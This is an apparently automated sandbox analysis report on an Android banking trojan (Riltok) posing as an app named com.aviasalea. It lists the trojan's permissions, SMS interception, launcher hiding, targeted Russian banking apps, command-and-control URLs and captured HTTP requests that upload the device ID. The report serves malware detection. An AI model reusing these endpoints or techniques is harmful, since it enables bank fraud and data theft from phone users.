Loading ...

Play interactive tourEdit tour

Analysis Report wBBPLjgyoW

Overview

General Information

Joe Sandbox Version:26.0.0
Analysis ID:894435
Start date:25.06.2019
Start time:16:39:36
Joe Sandbox Product:Cloud
Overall analysis duration:0h 7m 42s
Hypervisor based Inspection enabled:false
Report type:full
Sample file name:wBBPLjgyoW
Cookbook file name:defaultandroidfilecookbook.jbs
Analysis system description:Android 7.1 Nougat
APK Instrumentation enabled:true
Detection:MAL
Classification:mal88.troj.spyw.evad.and@0/251@0/0
Warnings:
Show All
  • Excluded IPs from analysis (whitelisted): 216.58.208.35, 172.217.16.164, 216.58.208.42, 172.217.16.138, 172.217.22.106, 216.58.210.10, 172.217.18.106, 172.217.23.170, 216.58.205.234, 172.217.18.10, 172.217.18.170, 172.217.23.138, 172.217.16.142, 172.217.22.46, 172.217.22.78, 172.217.22.110, 216.58.210.14, 172.217.16.206, 172.217.18.110, 216.58.205.238, 172.217.22.14, 172.217.18.14, 172.217.18.174, 172.217.23.142, 216.58.206.14, 216.58.207.46, 172.217.16.174, 216.58.208.46, 172.217.18.163
  • Excluded domains from analysis (whitelisted): connectivitycheck.gstatic.com, android.clients.google.com, android.l.google.com, google.com, www.google.com, www.googleapis.com, googleapis.l.google.com
  • No interacted views
  • Not all executed log events are in report (maximum 10 identical API calls)
  • Not all non-executed APIs are in report
  • Report size exceeded maximum capacity and may have missing dynamic data code.

Detection

StrategyScoreRangeReportingWhitelistedDetection
Threshold880 - 100Report FP / FNfalsemalicious

Confidence

StrategyScoreRangeFurther Analysis Required?Confidence
Threshold50 - 5false
ConfidenceConfidence


Classification

Analysis Advice

Some HTTP requests failed (404). It is likely the sample will exhibit less behavior



Mitre Att&ck Matrix

Signature Overview

Click to jump to signature section


Privilege Escalation:

barindex
Checks if the device administrator is activeShow sources
Source: com.aviasalea.checkui.AdRequestDialog;->setAdmin:5API Call: android.app.admin.DevicePolicyManager.isAdminActive
Source: com.aviasalea.srs.GPSrs;->hasAd:42API Call: android.app.admin.DevicePolicyManager.isAdminActive
Tries to add a new device administratorShow sources
Source: com.aviasalea.checktls.IntTls;->startoAdminAction:120API Call: android.content.Intent.<init> android.app.action.ADD_DEVICE_ADMIN
Source: Lcom/aviasalea/checktls/IntTls;->startoAdminAction(Landroid/content/ComponentName;Landroid/app/Activity;)VMethod string: "android.app.action.ADD_DEVICE_ADMIN"

Spreading:

barindex
Has permission to change the WIFI configuration including connecting and disconnectingShow sources
Source: submitted apkRequest permission: android.permission.CHANGE_WIFI_STATE

Networking:

barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)Show sources
Source: TrafficSnort IDS: 2022986 ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad 192.168.1.92:39042 -> 185.212.128.192:80
Source: TrafficSnort IDS: 2022986 ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad 192.168.1.92:39048 -> 185.212.128.192:80
Source: TrafficSnort IDS: 2022986 ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad 192.168.1.92:39054 -> 185.212.128.192:80
Source: TrafficSnort IDS: 2022986 ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad 192.168.1.92:39058 -> 185.212.128.192:80
Source: TrafficSnort IDS: 2022986 ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad 192.168.1.92:39060 -> 185.212.128.192:80
Source: TrafficSnort IDS: 2022986 ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad 192.168.1.92:39062 -> 185.212.128.192:80
Tries to download files via HTTP but all files are no longer availableShow sources
Source: HTTP HeaderHTTP: All HTTP requests resultet into 404 Not Found
Uses the command line tool ping to scan for other devices in the same networkShow sources
Source: com.aviasalea.ping.PingNative;->ping:50API Call: java.lang.Runtime.exec ping -c 1 -w 1 172.217.16.174
Source: com.aviasalea.ping.PingNative;->ping:50API Call: java.lang.Runtime.exec ping -c 1 -w 1 172.217.16.174
Source: com.aviasalea.ping.PingNative;->ping:50API Call: java.lang.Runtime.exec ping -c 1 -w 1 172.217.16.174
Source: com.aviasalea.ping.PingNative;->ping:50API Call: java.lang.Runtime.exec ping -c 1 -w 1 172.217.16.174
Source: com.aviasalea.ping.PingNative;->ping:50API Call: java.lang.Runtime.exec ping -c 1 -w 1 172.217.16.174
Source: com.aviasalea.ping.PingNative;->ping:50API Call: java.lang.Runtime.exec ping -c 1 -w 1 172.217.16.174
Checks an internet connection is availableShow sources
Source: com.aviasalea.checktls.CmndTls;->isInternetConnected:150API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: com.aviasalea.checktls.CmndTls;->isInternetConnected:151API Call: android.net.NetworkInfo.isConnectedOrConnecting
Source: com.aviasalea.checktls.WFTls;->onWifi:20API Call: android.net.wifi.WifiManager.isWifiEnabled
Connects to IPs without corresponding DNS lookupsShow sources
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.140.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.140.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.140.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.140.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.140.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.140.188
Source: unknownTCP traffic detected without corresponding DNS query: 185.212.128.192
Source: unknownTCP traffic detected without corresponding DNS query: 185.212.128.192
Source: unknownTCP traffic detected without corresponding DNS query: 185.212.128.192
Source: unknownTCP traffic detected without corresponding DNS query: 185.212.128.192
Source: unknownTCP traffic detected without corresponding DNS query: 185.212.128.192
Source: unknownTCP traffic detected without corresponding DNS query: 185.212.128.192
Source: unknownTCP traffic detected without corresponding DNS query: 185.212.128.192
Source: unknownTCP traffic detected without corresponding DNS query: 185.212.128.192
Source: unknownTCP traffic detected without corresponding DNS query: 185.212.128.192
Source: unknownTCP traffic detected without corresponding DNS query: 185.212.128.192
Source: unknownTCP traffic detected without corresponding DNS query: 185.212.128.192
Source: unknownTCP traffic detected without corresponding DNS query: 185.212.128.192
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.140.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.140.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.140.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.140.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.140.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.140.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.140.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.140.188
Source: unknownTCP traffic detected without corresponding DNS query: 185.212.128.192
Source: unknownTCP traffic detected without corresponding DNS query: 185.212.128.192
Source: unknownTCP traffic detected without corresponding DNS query: 185.212.128.192
Source: unknownTCP traffic detected without corresponding DNS query: 185.212.128.192
Source: unknownTCP traffic detected without corresponding DNS query: 185.212.128.192
Source: unknownTCP traffic detected without corresponding DNS query: 185.212.128.192
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.140.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.140.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.140.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.140.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.140.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.140.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.140.188
Source: unknownTCP traffic detected without corresponding DNS query: 185.212.128.192
Source: unknownTCP traffic detected without corresponding DNS query: 185.212.128.192
Source: unknownTCP traffic detected without corresponding DNS query: 185.212.128.192
Source: unknownTCP traffic detected without corresponding DNS query: 185.212.128.192
Source: unknownTCP traffic detected without corresponding DNS query: 185.212.128.192
Source: unknownTCP traffic detected without corresponding DNS query: 185.212.128.192
Source: unknownTCP traffic detected without corresponding DNS query: 185.212.128.192
Source: unknownTCP traffic detected without corresponding DNS query: 185.212.128.192
Source: unknownTCP traffic detected without corresponding DNS query: 185.212.128.192
Source: unknownTCP traffic detected without corresponding DNS query: 185.212.128.192
Source: unknownTCP traffic detected without corresponding DNS query: 185.212.128.192
Enables or disables WIFIShow sources
Source: com.aviasalea.checktls.WFTls;->onWifi:21API Call: android.net.wifi.WifiManager.setWifiEnabled
Source: com.aviasalea.checktls.WFTls;->onWifi:25API Call: android.net.wifi.WifiManager.setWifiEnabled
Opens an internet connectionShow sources
Source: com.aviasalea.api.request.HTTPConnection;-><init>:3API Call: java.net.URL.openConnection("http://185.212.128.192/1324273/gate.php?ID=450785365059857103&screen=on")
Source: com.aviasalea.api.request.HTTPConnection;-><init>:3API Call: java.net.URL.openConnection("http://185.212.128.192/1324273/report.php")
Performs DNS lookups (Java API)Show sources
Source: com.aviasalea.ping.Ping;->onAddress:4API Call: java.net.InetAddress.getByName (URL: "google.com")
Downloads files from webservers via HTTPShow sources
Source: global trafficHTTP traffic detected: GET /1324273/bee/avia/index1.php?ID=450785365059857103 HTTP/1.1Host: 185.212.128.192Connection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Linux; Android 7.1.2; VirtualBox Build/N2G48H; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/52.0.2743.100 Mobile Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-USX-Requested-With: com.aviasalea
Source: global trafficHTTP traffic detected: GET /favicon.ico HTTP/1.1Host: 185.212.128.192Connection: keep-aliveUser-Agent: Mozilla/5.0 (Linux; Android 7.1.2; VirtualBox Build/N2G48H; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/52.0.2743.100 Mobile Safari/537.36Accept: */*Referer: http://185.212.128.192/1324273/bee/avia/index1.php?ID=450785365059857103Accept-Encoding: gzip, deflateAccept-Language: en-USX-Requested-With: com.aviasalea
Source: global trafficHTTP traffic detected: GET /1324273/gate.php?ID=450785365059857103&screen=on HTTP/1.1Accept-Charset: UTF-8Content-Type: application/x-www-form-urlencodedUser-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; VirtualBox Build/N2G48H)Host: 185.212.128.192Connection: Keep-AliveAccept-Encoding: gzip
Source: global trafficHTTP traffic detected: GET /1324273/gate.php?ID=450785365059857103&screen=on HTTP/1.1Accept-Charset: UTF-8Content-Type: application/x-www-form-urlencodedUser-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; VirtualBox Build/N2G48H)Host: 185.212.128.192Connection: Keep-AliveAccept-Encoding: gzip
Source: global trafficHTTP traffic detected: GET /1324273/gate.php?ID=450785365059857103&screen=on HTTP/1.1Accept-Charset: UTF-8Content-Type: application/x-www-form-urlencodedUser-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; VirtualBox Build/N2G48H)Host: 185.212.128.192Connection: Keep-AliveAccept-Encoding: gzip
Source: global trafficHTTP traffic detected: GET /1324273/gate.php?ID=450785365059857103&screen=on HTTP/1.1Accept-Charset: UTF-8Content-Type: application/x-www-form-urlencodedUser-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; VirtualBox Build/N2G48H)Host: 185.212.128.192Connection: Keep-AliveAccept-Encoding: gzip
Source: global trafficHTTP traffic detected: GET /1324273/gate.php?ID=450785365059857103&screen=on HTTP/1.1Accept-Charset: UTF-8Content-Type: application/x-www-form-urlencodedUser-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; VirtualBox Build/N2G48H)Host: 185.212.128.192Connection: Keep-AliveAccept-Encoding: gzip
Source: global trafficHTTP traffic detected: GET /1324273/gate.php?ID=450785365059857103&screen=on HTTP/1.1Accept-Charset: UTF-8Content-Type: application/x-www-form-urlencodedUser-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; VirtualBox Build/N2G48H)Host: 185.212.128.192Connection: Keep-AliveAccept-Encoding: gzip
Posts data to webserverShow sources
Source: unknownHTTP traffic detected: POST /1324273/report.php HTTP/1.1Accept-Charset: UTF-8Content-Type: application/x-www-form-urlencodedContent-Length: 70User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; VirtualBox Build/N2G48H)Host: 185.212.128.192Connection: Keep-AliveAccept-Encoding: gzipData Raw: 31 3d 25 37 42 25 32 32 72 65 70 6f 72 74 25 32 32 25 33 41 25 32 32 73 6d 73 25 32 32 25 32 43 25 32 32 69 64 25 32 32 25 33 41 25 32 32 34 35 30 37 38 35 33 36 35 30 35 39 38 35 37 31 30 33 25 32 32 25 37 44 Data Ascii: 1=%7B%22report%22%3A%22sms%22%2C%22id%22%3A%22450785365059857103%22%7D
Tries to download or post to a non-existing http route (HTTP/1.1 404 Not Found / 503 Service Unavailable)Show sources
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 25 Jun 2019 14:41:13 GMTServer: Apache/2.4.10 (Debian)Content-Length: 306Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 31 33 32 34 32 37 33 2f 62 65 65 2f 61 76 69 61 2f 69 6e 64 65 78 31 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 38 35 2e 32 31 32 2e 31 32
Urls found in memory or binary dataShow sources
Source: librealtalk-jni.soString found in binary or memory: http://185.212.128.192/1324273/
Source: androidString found in binary or memory: http://185.212.128.192/1324273/bee/alfa/index.php
Source: librealtalk-jni.soString found in binary or memory: http://185.212.128.192/1324273/bee/avia/index1.php
Source: androidString found in binary or memory: http://185.212.128.192/1324273/bee/avia/index1.php?ID=450785365059857103
Source: librealtalk-jni.soString found in binary or memory: http://185.212.128.192/1324273/bee/avia/index1.phpru.berbankmobilecom.android.settings.DeviceAdminAd
Source: androidString found in binary or memory: http://185.212.128.192/1324273/bee/homecredit/index.php
Source: androidString found in binary or memory: http://185.212.128.192/1324273/bee/open/index.php
Source: androidString found in binary or memory: http://185.212.128.192/1324273/bee/rus/index.php
Source: androidString found in binary or memory: http://185.212.128.192/1324273/bee/tin/index.php
Source: androidString found in binary or memory: http://185.212.128.192/1324273/bee/vtb.php
Source: androidString found in binary or memory: http://185.212.128.192/1324273/gate.php
Source: androidString found in binary or memory: http://185.212.128.192/1324273/gate.php?ID=450785365059857103&screen=on
Source: librealtalk-jni.soString found in binary or memory: http://185.212.128.192/1324273/http://le22999a.pw/1324273/start_accessdisable_sdef_sms_cl_packagepsu
Source: androidString found in binary or memory: http://185.212.128.192/1324273/report.php
Source: librealtalk-jni.soString found in binary or memory: http://le22999a.pw/1324273/
Source: sber_login.xmlString found in binary or memory: http://schemas.android.com/apk/res-auto
Source: notification_template_icon_group.xml, service_conf.xml, payment_ic_visa.xml, ntivu.xml, notification_media_action.xml, keyboard_view.xml, notification_template_part_time.xml, payment_ic_amex.xml, AndroidManifest.xmlString found in binary or memory: http://schemas.android.com/apk/res/android

E-Banking Fraud:

barindex
Detected Riltok e-Banking MalwareShow sources
Source: Lcom/aviasalea/checktls/MsTls;->sendFullSMS(Landroid/content/Context;ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)ZMethod string: Riltok specific strings
Found large list of e-Banking application (likely related to e-Banking fraud)Show sources
Source: Lcom/aviasalea/wb/WITools$Inj;->setApps(Lorg/json/JSONArray;)VMethod string: com.idamob.tinkoff.android
Source: Lcom/aviasalea/wb/WITools$Inj;->setApps(Lorg/json/JSONArray;)VMethod string: com.idamobile.android.hcb
Source: Lcom/aviasalea/wb/WITools$Inj;->setApps(Lorg/json/JSONArray;)VMethod string: com.legionlabs.p2p.open
Source: Lcom/aviasalea/wb/WITools$Inj;->setApps(Lorg/json/JSONArray;)VMethod string: com.openbank
Source: Lcom/aviasalea/wb/WITools$Inj;->setApps(Lorg/json/JSONArray;)VMethod string: com.vtb.mobilebank
Source: Lcom/aviasalea/wb/WITools$Inj;->setApps(Lorg/json/JSONArray;)VMethod string: ru.alfabank.mobile.android
Source: Lcom/aviasalea/wb/WITools$Inj;->setApps(Lorg/json/JSONArray;)VMethod string: ru.alfabank.oavdo.amc
Source: Lcom/aviasalea/wb/WITools$Inj;->setApps(Lorg/json/JSONArray;)VMethod string: ru.homecredit.mycredit
Source: Lcom/aviasalea/wb/WITools$Inj;->setApps(Lorg/json/JSONArray;)VMethod string: ru.m4bank.rsb.alipay
Source: Lcom/aviasalea/wb/WITools$Inj;->setApps(Lorg/json/JSONArray;)VMethod string: ru.open.android.konsierge24
Source: Lcom/aviasalea/wb/WITools$Inj;->setApps(Lorg/json/JSONArray;)VMethod string: ru.rsb.prepaid
Source: Lcom/aviasalea/wb/WITools$Inj;->setApps(Lorg/json/JSONArray;)VMethod string: ru.simpls.brs2.mobbank
Source: Lcom/aviasalea/wb/WITools$Inj;->setApps(Lorg/json/JSONArray;)VMethod string: ru.tinkoff.sme
Source: Lcom/aviasalea/wb/WITools$Inj;->setApps(Lorg/json/JSONArray;)VMethod string: ru.vt24.mobilebanking.android
Contains package name strings related to banking (usually for identifying banking APKs)Show sources
Source: Lcom/aviasalea/wb/WITools$Inj;->setApps(Lorg/json/JSONArray;)VMethod String: com.vtb.mobilebank, ru.alfabank.mobile.android, ru.alfabank.oavdo.amc, ru.m4bank.rsb.alipay, ru.m4bank.rsb, ru.simpls.brs2.mobbank, ru.vt24.mobilebanking.android
Has permission to query the list of currently running applicationsShow sources
Source: submitted apkRequest permission: android.permission.GET_TASKS
May query for the most recent running application (usually for UI overlaying)Show sources
Source: com.aviasalea.checktls.PkgTls;->getActivityBeforeLolipopgetRunningTasks and getPackageName invocations in same method: com.aviasalea.checktls.PkgTls;->getActivityBeforeLolipop:9, com.aviasalea.checktls.PkgTls;->getActivityBeforeLolipop:12
Source: com.aviasalea.checktls.PkgTls;->getActivityBeforeLolipopgetRunningTasks and getPackageName invocations in same method: com.aviasalea.checktls.PkgTls;->getActivityBeforeLolipop:9, com.aviasalea.checktls.PkgTls;->getActivityBeforeLolipop:12

Spam, unwanted Advertisements and Ransom Demands:

barindex
Dials phone numbersShow sources
Source: com.aviasalea.checktls.IntTls;->callNumber:17API Call: android.content.Context.startActivity
Has permission to perform phone calls in the backgroundShow sources
Source: submitted apkRequest permission: android.permission.CALL_PHONE
Has permission to send SMS in the backgroundShow sources
Source: submitted apkRequest permission: android.permission.SEND_SMS
Sends SMS using SmsManagerShow sources
Source: com.aviasalea.checktls.CmndTls;->sendSMS:199API Call: android.telephony.SmsManager.sendTextMessage
Source: com.aviasalea.checktls.MsTls;->sendFullSMS:85API Call: android.telephony.SmsManager.sendTextMessage
Source: com.aviasalea.checktls.MsTls;->sendFullSMS:99API Call: android.telephony.SmsManager.sendTextMessage

Change of System Appearance:

barindex
Sets a repeating alarmShow sources
Source: com.aviasalea.srs.GPSrs;->scheduleSSRec:68API Call: android.app.AlarmManager.setRepeating

System Summary:

barindex
Executes native commandsShow sources
Source: com.aviasalea.ping.PingNative;->ping:50API Call: java.lang.Runtime.exec ("ping -c 1 -w 1 172.217.16.174")
Source: com.aviasalea.ping.PingNative;->ping:50API Call: java.lang.Runtime.exec ("ping -c 1 -w 1 172.217.16.174")
Source: com.aviasalea.ping.PingNative;->ping:50API Call: java.lang.Runtime.exec ("ping -c 1 -w 1 172.217.16.174")
Source: com.aviasalea.ping.PingNative;->ping:50API Call: java.lang.Runtime.exec ("ping -c 1 -w 1 172.217.16.174")
Source: com.aviasalea.ping.PingNative;->ping:50API Call: java.lang.Runtime.exec ("ping -c 1 -w 1 172.217.16.174")
Source: com.aviasalea.ping.PingNative;->ping:50API Call: java.lang.Runtime.exec ("ping -c 1 -w 1 172.217.16.174")
Source: com.aviasalea.checktls.CmndTls;->canExecuteCommand:4API Call: java.lang.Runtime.exec
Requests potentially dangerous permissionsShow sources
Source: submitted apkRequest permission: android.permission.CALL_PHONE
Source: submitted apkRequest permission: android.permission.CHANGE_NETWORK_STATE
Source: submitted apkRequest permission: android.permission.CHANGE_WIFI_STATE
Source: submitted apkRequest permission: android.permission.GET_TASKS
Source: submitted apkRequest permission: android.permission.INTERNET
Source: submitted apkRequest permission: android.permission.READ_PHONE_STATE
Source: submitted apkRequest permission: android.permission.READ_SMS
Source: submitted apkRequest permission: android.permission.RECEIVE_SMS
Source: submitted apkRequest permission: android.permission.SEND_SMS
Source: submitted apkRequest permission: android.permission.SYSTEM_ALERT_WINDOW
Source: submitted apkRequest permission: android.permission.WAKE_LOCK
Source: submitted apkRequest permission: android.permission.WRITE_SETTINGS
Classification labelShow sources
Source: classification engineClassification label: mal88.troj.spyw.evad.and@0/251@0/0
Loads native librariesShow sources
Source: com.aviasalea.Realtalk;-><clinit>:2API Call: java.lang.System.loadLibrary ("realtalk-jni")

Data Obfuscation:

barindex
Uses reflectionShow sources
Source: com.aviasalea.checktls.AndroidUtilities;->setScrollViewEdgeEffectColor:74API Call: java.lang.reflect.Field.get
Source: com.aviasalea.checktls.AndroidUtilities;->setScrollViewEdgeEffectColor:79API Call: java.lang.reflect.Field.get
Source: com.aviasalea.checktls.CmndTls;->getPsuedoUniqueID:92API Call: java.lang.reflect.Field.get
Source: com.aviasalea.checktls.MsTls;->sendFullSMS:13API Call: java.lang.reflect.Method.invoke
Source: com.aviasalea.checktls.MsTls;->sendFullSMS:19API Call: java.lang.reflect.Method.invoke
Source: com.aviasalea.checktls.MsTls;->sendFullSMS:30API Call: java.lang.reflect.Method.invoke
Source: de.greenrobot.event.EventBus;->invokeSubscriber:204API Call: java.lang.reflect.Method.invoke

Persistence and Installation Behavior:

barindex
Launches other applicationsShow sources
Source: com.aviasalea.checkui.ActOpenApp;->onCreate:13API Call: android.content.pm.PackageManager.getLaunchIntentForPackage

Boot Survival:

barindex
Has permission to execute code after phone rebootShow sources
Source: submitted apkRequest permission: android.permission.RECEIVE_BOOT_COMPLETED

Hooking and other Techniques for Hiding and Protection:

barindex
Removes its application launcher (likely to stay hidden)Show sources
Source: com.aviasalea.MainActivity;->hideApp:11API Call: android.content.pm.PackageManager.setComponentEnabledSetting
Source: com.aviasalea.srs.CmndSrs;->hideApp:43API Call: android.content.pm.PackageManager.setComponentEnabledSetting
Aborts a broadcast event (this is often done to hide phone events such as incoming SMS)Show sources
Source: com.aviasalea.mess.service.receiver.SmsReceiver;->smsReceived:13API Call: android.content.BroadcastReceiver.abortBroadcast
Has permission to draw over other applications or user interfacesShow sources
Source: submitted apkRequest permission: android.permission.SYSTEM_ALERT_WINDOW
Has permission to query the list of currently running applicationsShow sources
Source: submitted apkRequest permission: android.permission.GET_TASKS
Queries list of running processes/tasksShow sources
Source: com.aviasalea.checktls.CmndTls;->isInServiceProcess:135API Call: android.app.ActivityManager.getRunningAppProcesses
Source: com.aviasalea.checktls.CmndTls;->isMyActivityRunning:155API Call: android.app.ActivityManager.getRunningAppProcesses
Source: com.aviasalea.checktls.PkgTls;->getActivityAfterLolipop:6API Call: android.app.ActivityManager.getRunningAppProcesses
Source: com.aviasalea.checktls.PkgTls;->getActivityBeforeLolipop:9API Call: android.app.ActivityManager.getRunningTasks

Malware Analysis System Evasion:

barindex
Accesses android OS build fieldsShow sources
Source: com.aviasalea.checktls.CmndTls;->getDeviceName:33Field Access: android.os.Build.MANUFACTURER
Source: com.aviasalea.checktls.CmndTls;->getDeviceName:34Field Access: android.os.Build.MODEL
Source: com.aviasalea.checktls.CmndTls;->getPsuedoUniqueID:68Field Access: android.os.Build.BOARD
Source: com.aviasalea.checktls.CmndTls;->getPsuedoUniqueID:71Field Access: android.os.Build.BRAND
Source: com.aviasalea.checktls.CmndTls;->getPsuedoUniqueID:74Field Access: android.os.Build.CPU_ABI
Source: com.aviasalea.checktls.CmndTls;->getPsuedoUniqueID:77Field Access: android.os.Build.DEVICE
Source: com.aviasalea.checktls.CmndTls;->getPsuedoUniqueID:80Field Access: android.os.Build.MANUFACTURER
Source: com.aviasalea.checktls.CmndTls;->getPsuedoUniqueID:83Field Access: android.os.Build.MODEL
Source: com.aviasalea.checktls.CmndTls;->getPsuedoUniqueID:86Field Access: android.os.Build.PRODUCT
Source: com.aviasalea.checktls.CmndTls;->isRooted:172Field Access: android.os.Build.TAGS
Source: com.aviasalea.checktls.MsTls;->sendFullSMS:4Field Access: android.os.Build.MODEL
Queries several sensitive phone informationsShow sources
Source: Lcom/aviasalea/wb/WITools;->changeWEBInjJSONbyPkg(Ljava/lang/String;)Ljava/lang/String;Method string: "type"
Source: Lcom/aviasalea/srs/api/requests/RegistrationReportStep2Request;->getHttpParams(Landroid/content/Context;)Ljava/lang/String;Method string: "version"
Source: Lcom/aviasalea/checktls/CmndTls;->getPhoneOperator(Landroid/content/Context;)Ljava/lang/String;Method string: "phone"
Source: Lcom/aviasalea/srs/api/requests/RegistrationReportStep2Request;->getHttpParams(Landroid/content/Context;)Ljava/lang/String;Method string: "imei"
Source: Lcom/aviasalea/srs/api/requests/RegistrationReportStep2Request;->getHttpParams(Landroid/content/Context;)Ljava/lang/String;Method string: "model"
Queries the unique operating system id (ANDROID_ID)Show sources
Source: com.aviasalea.checktls.CmndTls;->getPhoneIMEINumber:50API Call: android.provider.Settings$Secure.getString

Language, Device and Operating System Detection:

barindex
Checks if phone is rooted (checks for Superuser.apk)Show sources
Source: com.aviasalea.checktls.CmndTls;->isRooted:176API Call: java.io.File.<init>("/system/app/Superuser.apk")
Checks if phone is rooted (checks for test-keys build tags)Show sources
Source: com.aviasalea.checktls.CmndTls;->isRooted:174API Call: java.lang.String.contains("test-keys")
Queries the network operator nameShow sources
Source: com.aviasalea.checktls.CmndTls;->getPhoneOperator:63API Call: android.telephony.TelephonyManager.getNetworkOperatorName
Queries the unqiue device ID (IMEI, MEID or ESN)Show sources
Source: com.aviasalea.checktls.CmndTls;->getPhoneIMEINumber:51API Call: android.telephony.TelephonyManager.getDeviceId
Source: com.aviasalea.checktls.CmndTls;->getPhoneNumber:59API Call: android.telephony.TelephonyManager.getLine1Number
Source: com.aviasalea.checktls.CmndTls;->getPhoneNumber:60API Call: android.telephony.TelephonyManager.getLine1Number

Stealing of Sensitive Information:

barindex
Leaking sensitive information via HTTP to a webserverShow sources
Source: com.aviasalea.api.request.HTTPConnection;-><init>:3API Call: java.net.URL.openConnection (URL: "http://185.212.128.192/1324273/gate.php?ID=450785365059857103&screen=on", POST data: "http://185.212.128.192/1324273/gate.php?ID=450785365059857103&screen=on", Leaked: "TelephonyManager.getDeviceId=450785365059857")
Monitors outgoing Phone callsShow sources
Source: com.aviasalea.rcs.RestartServiceRegistered receiver: android.intent.action.NEW_OUTGOING_CALL
Uploads sensitive phone information to the internet (privacy leak)Show sources
Source: 192.168.1.92:39040 -> 185.212.128.192:80HTTP traffic detected: Header contains sensitive information: 450785365059857 (TelephonyManager.getDeviceId)
Source: 192.168.1.92:39040 -> 185.212.128.192:80HTTP traffic detected: Header contains sensitive information: 450785365059857 (TelephonyManager.getDeviceId)
Source: 192.168.1.92:39042 -> 185.212.128.192:80HTTP traffic detected: Header contains sensitive information: 450785365059857 (TelephonyManager.getDeviceId)
Source: 192.168.1.92:39048 -> 185.212.128.192:80HTTP traffic detected: Header contains sensitive information: 450785365059857 (TelephonyManager.getDeviceId)
Source: 192.168.1.92:39054 -> 185.212.128.192:80HTTP traffic detected: Header contains sensitive information: 450785365059857 (TelephonyManager.getDeviceId)
Source: 192.168.1.92:39056 -> 185.212.128.192:80HTTP traffic detected: Header contains sensitive information: 450785365059857 (TelephonyManager.getDeviceId)
Source: 192.168.1.92:39058 -> 185.212.128.192:80HTTP traffic detected: Header contains sensitive information: 450785365059857 (TelephonyManager.getDeviceId)
Source: 192.168.1.92:39060 -> 185.212.128.192:80HTTP traffic detected: Header contains sensitive information: 450785365059857 (TelephonyManager.getDeviceId)
Source: 192.168.1.92:39062 -> 185.212.128.192:80HTTP traffic detected: Header contains sensitive information: 450785365059857 (TelephonyManager.getDeviceId)
Source: 192.168.1.92:39066 -> 185.212.128.192:80HTTP traffic detected: Header contains sensitive information: 450785365059857 (TelephonyManager.getDeviceId)
Uses accessibility services (likely to control other applications)Show sources
Source: com.aviasalea.checktls.NdTls;->getClickableNode:33API Call: android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByText
Source: com.aviasalea.checktls.NdTls;->hasText:47API Call: android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByText
Creates SMS data (e.g. PDU)Show sources
Source: com.aviasalea.mess.service.receiver.SmsReceiver;->smsReceived:9API Call: android.telephony.SmsManager.createFromPdu
Has permission to read the SMS storageShow sources
Source: submitted apkRequest permission: android.permission.READ_SMS
Has permission to read the phones state (phone number, device IDs, active call ect.)Show sources
Source: submitted apkRequest permission: android.permission.READ_PHONE_STATE
Has permission to receive SMS in the backgroundShow sources
